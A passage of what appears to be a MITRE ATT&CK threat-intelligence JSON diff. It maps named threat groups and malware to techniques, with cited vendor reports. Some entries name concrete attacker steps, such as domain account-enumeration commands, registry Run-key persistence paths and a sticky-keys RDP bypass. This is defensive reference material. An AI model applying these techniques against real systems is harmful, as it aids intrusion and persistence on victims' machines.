"url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8c359d18-06fc-4db1-9b58-6e85fa563066", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) installs a registry Run key to establish persistence.(Citation: Forcepoint Monsoon)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-03-16T15:59:20.517Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5bda4ebe-cd21-469e-9495-952df7254f17", + "description": "[APT29](https://attack.mitre.org/groups/G0016) routinely removed their tools, including custom backdoors, once remote access was achieved. [APT29](https://attack.mitre.org/groups/G0016) has also used [SDelete](https://attack.mitre.org/software/S0195) to remove artifacts from victims.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Mandiant No Easy Breach)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2021-04-16T20:29:18.720Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.048Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + }, + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38", + "description": "[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to network shares.(Citation: Cisco H1N1 Part 2)", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "modified": "2019-04-29T18:23:15.997Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--553e41ba-f8e6-408c-bdbd-f46246124df6", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) has a command to delete files.(Citation: ASERT InnaputRAT April 2018)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-18T00:48:35.892Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5d6984fc-52cb-429b-9e68-64e656d9ad30", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) registers itself as a service on the victim\u2019s machine to run as a standalone process.(Citation: McAfee GhostSecret)", + "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "modified": "2019-04-22T22:40:41.233Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses the Microsoft [Tasklist](https://attack.mitre.org/software/S0057) utility to list processes running on systems.(Citation: Alperovitch 2014)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2019-03-22T20:09:34.753Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.043Z", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks. The group has also used downloaded encrypted payloads over HTTP.(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Cobalt Kitty 2017)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-06-19T20:04:12.428Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "source_name": "Volexity OceanLotus Nov 2017" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--93642a19-cc8f-4298-9398-8d5d029fe53d", + "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: TrendMicro POWERSTATS V3 June 2019)", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2020-05-18T19:46:02.259Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", + "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.", + "source_name": "TrendMicro POWERSTATS V3 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fabd053f-487c-404f-b1b0-b090e442ff83", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has disguised its droppers as legitimate software or documents, matching their original names and locations, and saved its files as mpr.dll in the Windows folder.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-08-17T14:08:26.556Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. 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(2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f", + "description": "[httpclient](https://attack.mitre.org/software/S0068) encrypts C2 content with XOR using a single byte, 0x12.(Citation: CrowdStrike Putter Panda)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-03-17T01:34:10.822Z", + "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00", + "description": "If [NETEAGLE](https://attack.mitre.org/software/S0034) does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, [NETEAGLE](https://attack.mitre.org/software/S0034) will initiate a TCP connection to this socket. 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Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d", + "description": "After copying itself to a DLL file, a variant of [Elise](https://attack.mitre.org/software/S0081) calls the DLL file using rundll32.exe.(Citation: Lotus Blossom Jun 2015)", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "modified": "2019-04-17T22:12:24.831Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. 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(2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "source_name": "McAfee Netwire Mar 2015" + }, + { + "url": "https://www.brighttalk.com/webcast/10703/275683", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Webinar Sept 2017" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.", + "source_name": "FireEye NETWIRE March 2019" + }, + { + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.", + "source_name": "Red Canary NETWIRE January 2020" + }, + { + "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", + "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021.", + "source_name": "Proofpoint NETWIRE December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5f5af879-c239-416b-99ec-b46e2f9926a2", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run net user, net user /domain, net group \u201cdomain admins\u201d /domain, and net group \u201cExchange Trusted Subsystem\u201d /domain to get account listings on a victim.(Citation: Palo Alto OilRig May 2016)", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "modified": "2020-03-18T20:18:02.511Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that exfiltrates data over the C2 channel.(Citation: FireEye Clandestine Fox)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2019-04-29T18:01:20.484Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to delete files.(Citation: FireEye APT17)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-17T19:06:43.762Z", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9725630d-a737-43dd-a68f-a09987735846", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) used a SharePoint enumeration and data dumping tool known as spwebmember.(Citation: NCC Group APT15 Alive and Strong)", + "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "modified": "2021-03-29T19:54:46.488Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--935f9bb6-d38d-42d1-a764-6b5110ad5364", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exploited Microsoft Office vulnerabilities CVE-2014-4114, CVE-2018-0802, and CVE-2018-0798 for execution.(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "modified": "2020-06-24T01:27:31.912Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "source_name": "Symantec Tick Apr 2016" + }, + { + "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", + "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.", + "source_name": "Trend Micro Tick November 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e534bf54-5f9f-4d5f-bd9d-260e56da4951", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about network adapters.(Citation: Unit 42 Kazuar May 2017)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2019-04-24T15:26:03.729Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab069468-3dff-4c77-9293-adb0b2627a4e", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.(Citation: RSA Shell Crew)", + "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "modified": "2020-04-17T21:11:30.420Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.044Z", + "external_references": [ + { + "source_name": "RSA Shell Crew", + "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.", + "url": "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--56e08b91-312e-4e22-b1d7-4a0742883881", + "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use raw TCP for C2.(Citation: Palo Alto Reaver Nov 2017)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2020-03-17T02:22:51.853Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a9bbbd0f-3f45-4efa-9e6b-56ed2c9b9126", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can sniff plaintext network credentials and use NBNS Spoofing to poison name services.(Citation: GitHub Pupy)", + "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", + "modified": "2019-04-24T17:52:47.855Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f1f879a7-cd1e-4865-bc6a-9b42d36df62b", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search through the Exchange server mailboxes for keywords.(Citation: Symantec Leafminer July 2018)", + "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "modified": "2020-03-17T16:25:23.448Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. 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Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dbfceb88-6548-49c9-97e2-8e187856edb3", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses raw sockets to communicate with its C2 server.(Citation: Palo Alto Sofacy 06-2018)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2019-07-17T01:18:32.653Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0583724d-7778-42ed-995c-acad526db4ba", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has sometimes used drive-by attacks against vulnerable browser plugins.(Citation: Microsoft PLATINUM April 2016)", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "modified": "2019-05-10T12:14:32.180Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e2675622-ec8e-4894-9f5e-3c82944e3019", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover operating system configuration details using the systeminfo and set commands.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2021-08-09T14:18:21.431Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.045Z", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--259b878f-147e-443b-8360-aabc00cf6d73", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has established persistence by setting the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key value for wdm to the path of the executable. It has also used the Registry entry HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run vpdn \u201c%ALLUSERPROFILE%\\%APPDATA%\\vpdn\\VPDN_LU.exe\u201d to establish persistence.(Citation: ZScaler Hacking Team)(Citation: ThreatStream Evasion Analysis)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-03-16T16:56:45.646Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html", + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "source_name": "ZScaler Hacking Team" + }, + { + "url": 